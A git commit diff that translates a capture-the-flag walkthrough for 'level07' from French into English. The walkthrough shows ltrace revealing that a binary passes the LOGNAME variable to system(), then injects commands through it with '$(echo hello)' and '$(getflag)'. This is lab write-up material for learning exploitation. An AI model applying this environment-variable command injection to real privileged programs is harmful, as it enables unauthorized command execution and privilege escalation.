docs(lvl07): adding the english readme
This commit is contained in:
parent
3fbe387519
commit
6c477e6684
1 changed files with 6 additions and 6 deletions
|
|
@ -1,8 +1,8 @@
|
||||||
Lors de mon arriver sur le level07 je fait un petit check des fichiers
|
When arriving on level07 I do a small check of the files.
|
||||||
|
|
||||||
Je vois un level07 qui est un executable
|
I see a level07 which is an executable.
|
||||||
|
|
||||||
Je commence par faire un petit ltrace (pour regarder les librairies appeler)
|
I start by doing a small ltrace (to look at the libraries called).
|
||||||
|
|
||||||
```c
|
```c
|
||||||
ltrace ./level07
|
ltrace ./level07
|
||||||
|
|
@ -20,7 +20,7 @@ system("/bin/echo level07 "level07
|
||||||
+++ exited (status 0) +++
|
+++ exited (status 0) +++
|
||||||
```
|
```
|
||||||
|
|
||||||
Et je remarque que getenv et appeler sur LOGNAME je tente donc une modification et:
|
And I notice that getenv is called on LOGNAME so I therefore try a modification and:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
export LOGNAME='hello'
|
export LOGNAME='hello'
|
||||||
|
|
@ -29,7 +29,7 @@ export LOGNAME='hello'
|
||||||
hello
|
hello
|
||||||
```
|
```
|
||||||
|
|
||||||
Mais il est donc egallement possible d'executer des commandes
|
But it is therefore also possible to execute commands.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
export LOGNAME='$(echo hello)'
|
export LOGNAME='$(echo hello)'
|
||||||
|
|
@ -37,7 +37,7 @@ export LOGNAME='$(echo hello)'
|
||||||
hello
|
hello
|
||||||
```
|
```
|
||||||
|
|
||||||
Donc forcement il est possible de lancer getflag
|
So necessarily it is possible to launch getflag.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
export LOGNAME='$(getflag)'
|
export LOGNAME='$(getflag)'
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue